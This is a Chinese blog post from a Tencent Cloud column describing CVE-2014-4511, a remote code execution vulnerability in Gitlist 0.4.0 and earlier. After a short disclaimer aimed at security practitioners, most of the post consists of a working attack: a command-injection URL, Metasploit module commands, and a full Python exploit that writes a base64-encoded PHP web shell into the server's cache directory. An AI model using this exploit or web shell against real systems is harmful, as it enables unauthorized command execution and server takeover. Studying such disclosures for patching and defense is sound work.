专栏首页博客笔记Gitlist代码版本控制脆弱性

Gitlist代码版本控制脆弱性

注意:本文分享给安全从业人员,网站开发人员和运维人员在日常工作中使用和防范恶意攻击,请勿恶意使用下面描述技术进行非法操作。

0x00 Gitlist (Revision Control Tools)在存在远程代码执行漏洞

背景:在gitlist 0.4.0及之前版本存在远程代码执行漏洞,漏洞CVE版本号为CVE-2014-4511,该漏洞利用方式为:

https://test.com/test.git/master/""`whoami`   #,通过执行该命令可以导致gitlist出现未知错误

WeiyiGeek.示例

通过该利用程序可以将php木马写入到gitlist目录中,从而获取权限服务器:

msf里面集成了gitlist_rce exploit:
msf exploit > use gitlist_rce
msf exploit(gitlist_rce) > rexploit

python版利用代码:

from commands import getoutput
import urllib
import sys

""" 
Exploit Title: Gitlist <= 0.4.0 anonymous RCE
Date: 06/20/2014
Author: drone (@dronesec)
Vendor Homepage: http://gitlist.org/
Software link: https://s3.amazonaws.com/gitlist/gitlist-0.4.0.tar.gz
Version: <= 0.4.0
Tested on: Debian 7
More information: 
cve: CVE-2014-4511
"""

if len(sys.argv) <= 1:
    print '%s: [url to git repo] {cache path}' % sys.argv[0]
    print '  Example: python %s http://localhost/gitlist/my_repo.git' % sys.argv[0]
    print '  Example: python %s http://localhost/gitlist/my_repo.git /var/www/git/cache' % sys.argv[0]
    sys.exit(1)

url = sys.argv[1]
url = url if url[-1] != '/' else url[:-1]

path = "/var/www/gitlist/cache"
if len(sys.argv) > 2:
    path = sys.argv[2]

print '[!] Using cache location %s' % path

# payload <?system($_GET['cmd']);?>
payload = "PD9zeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pgo="

# sploit; python requests does not like this URL, hence wget is used
mpath = '/blame/master/""`echo {0}|base64 -d > {1}/x.php`'.format(payload, path)
mpath = url+ urllib.quote(mpath)

out = getoutput("wget %s" % mpath)
if '500' in out:
    print '[!] Shell dropped; go hit %s/cache/x.php?cmd=ls' % url.rsplit('/', 1)[0]
else:
    print '[-] Failed to drop'
    print out

执行效果:

WeiyiGeek.利用方式

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • Python3笔试实际操作基础1.md

    在Windows上打开文件路径需要进行转义\才能正常进行找出文件,我们约定“\t”和“\r”分别表示“横向制表符(TAB)”和“回车符”:如下面

    WeiyiGeek
  • Python3入门学习二.md

    数据类型的转换你只需要将数据类型作为函数名即可,还有几个内置函数可以执行数据之间的转换,这些函数返回一个新的对象,表示转换的值;

    WeiyiGeek
  • Python3脚本编程常用.md

    Python 提供了 getopt 模块来获取命令行参数(指定参数名称) getopt 模块是专门处理命令行参数的模块,用于获取命令行选项和参数,也就是sys....

    WeiyiGeek
  • Kudu使用布隆过滤器优化联接和过滤

    在数据库系统中,提高性能的最有效方法之一是避免执行不必要的工作,例如网络传输和从磁盘读取数据。Apache Kudu实现此目的的方法之一是通过使用扫描器支持列谓...

    大数据杂货铺
  • 纯代码修改WordPress 默认 Gravatar 头像的方法

    默认地,在 WordPress 后台的- 设置 - 讨论 下面可以设置默认的 Gravatar 头像,但是 WordPress 自带的可供选择的那几个实在是不得...

    Jeff
  • 类的父类object的一些属性、方法

    skylark
  • java和php哪个发展方向更好?

    写代码已经十几个年头,现在还在写着代码,估计代码要持续到年龄大了一直到写不动为止了,写过几年的java代码,php代码没有具体写过,从目前市场上就业的职位数量还...

    程序员互动联盟
  • 腾讯云标准型S2云服务器配置CPU内存性能注意事项

    腾讯云标准型服务器是计算、内存和网络资源的均衡,腾讯云百科分享腾讯云标准型S2云服务器配置CPU内存性能注意事项:

    上云小秘书
  • 腾讯云标准型S2实例配置性能使用场景及注意事项

    腾讯云标准型实例是计算、内存和网络资源的均衡,InstanceTypes分享腾讯云标准型S2实例配置性能包括CPU、内存、使用场景及购买注意事项等信息:

    用户2416682
  • 谷歌DeepMind AI再次完爆人类 读唇语正确率胜专家(附论文下载)

    大数据文摘

扫码关注云+社区

领取腾讯云代金券